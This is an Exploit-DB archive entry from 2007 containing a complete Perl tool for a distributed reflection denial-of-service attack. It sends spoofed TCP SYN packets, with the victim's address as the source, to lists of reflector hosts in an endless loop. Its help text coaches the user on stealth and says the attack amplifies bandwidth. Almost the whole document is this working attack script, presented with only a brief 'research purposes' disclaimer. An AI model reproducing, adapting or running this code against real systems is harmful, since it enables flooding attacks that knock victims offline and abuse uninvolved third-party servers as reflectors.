Exploit-DB #4038
Description: DRDoS - Distributed Reflection Denial of Service
Type: dos
Platform: multiple
Date: 2007-06-06
Author: whoppix

Exploit:
#!/usr/bin/perl

#
# ~written by whoppix (c) 2007~
# This Piece of software may be freely (re-)distributed under the Terms of the LGPL.
# for a short usage type ./script --help
# this program requires: perl, Net::RawIP (depends on libpcap), Getopt::Long
# (which should be shipped along with your perl core distribution)
# if you want to gain a deeper understanding about how DRDoS works, have a look at:
# http://www.grc.com/dos/drdos.htm
# This program is written for testing and researching purposes only.
#

use warnings;
use strict;
use Net::RawIP;
use Getopt::Long;

my $verbose   = '0';
my $syn_count = '1';
my $victim    = '127.0.0.1';
my @lists     = ();
my $net       = new Net::RawIP;

GetOptions(
	'verbose+'    => \$verbose,
	'syn_count=s' => \$syn_count,
	'list=s'      => \@lists,
	'help'        => \&usage,       
);
$victim = shift @ARGV;
if ( !$victim ) {
	die "Error: No target specified, use --help\n";
}
if ( !@lists ) {
	die "Error: You have to specify at least one reflector list, use --help\n";
}
foreach my $file (@lists) {
	if ( !-e $file ) {
		die "File does not seem to exist: $file\n";
	}
}
print "Starting attack on target $victim.\n";
print "press Ctrl-C to interrupt at any time.\n" if $verbose >= 1;
while (1) {
	foreach my $listfile (@lists) {
		print "Loading reflector file: $listfile\n" if $verbose >= 1;
		open( my $list, "<", $listfile )
			or die "Error opening file for reading: $listfile\n";
		while (<$list>) {
			chomp;
			if ( check_format($_) ) {
				my $counter   = $syn_count;
				my $reflector = $_;
				my ( $ip, $port ) = split( ':', $reflector );
				print "reflector ip: $ip, reflector port: $port\n"
					if $verbose > 1;
				for ( my $counter = $syn_count; $counter > 0; $counter-- ) {
					print "attacking using reflector: $reflector\n"
						if $verbose > 1;
					my $rand = int( rand(65535) );
					while ( $rand == 0 ) {
						print
							"random number calculated for SRCPORT was zero, retrying...\n"
							if $verbose > 1;
						$rand = int( rand(65535) );
					}
					print "random port used for SRCPORT: $rand\n"
						if $verbose > 1;
					$net->set(
						{   ip => {
								saddr => $victim,
								daddr => $ip,
							},
							tcp => {
								source => $rand,
								dest   => $port,
								syn    => 1,
							},
						}
					);
					$net->send();
				}
			}
			else {
				print
					"mirror \"$_\" not in correct format (ip:port) omitting...\n"
					if $verbose >= 1;
			}
		}
	}
}

sub usage {
	print "\nusage:\n\n";
	print "--help\t\t: youre reading it\n";
	print
		"--verbose\t: makes the script more verbose. can be used several times to increase verbosity.\n";
	print "--list\t\t: used to specify a reflectorlist.\n";
	print
		"\t\texample: ./script --list list1.txt --list list2.txt --list list3.txt 127.0.0.1\n";
	print
		"\t\tthe more (and longer) lists you have, the better will the result be, and the more stealth you will gain.\n";
	print
		"--syn_count\t: used to set the syn_count to a special value. default is 1.\n";
	print "\t\tdon't use too much - that would decrease your stealth. Default (and that should be fine) is 1.\n";
	print "\nGeneral information:\n";
	print "The usage of multiple lists can increase your stealth.\n";
	print "The more Mirrors or \"reflectors\" you use, the better will the result be.\n";
	print "The better the bandwidth of your mirrors is, the better will the result be.\n";
	print "Generally spoken is the bandwidth you use to flood your victim amplified by the factor 3-4.\n\n";
	die "\n";
}

sub check_format {    # a function to check the ip:port format.
	no warnings;
	my $address = shift;
	my ( $ip, $port ) = split( ':', $address );
	my @octets = split( '\.', $ip );

	if ( $port < 1 or $port > 65535 ) {
		print "port $port too high or low\n" if $verbose >= 1;
		return;
	}
	if ( @octets != 4 ) {
		print "ip has invalid number of octetts: $ip\n" if $verbose >= 1;
		return;
	}
	foreach my $octet (@octets) {
		if ( $octet < 0 or $octet > 255 ) {
			print "octet is invalid: $octet\n" if $verbose >= 1;
			return;
		}
	}
	print "VALID!\n" if $verbose > 1;
	return 1;
}

# milw0rm.com [2007-06-06]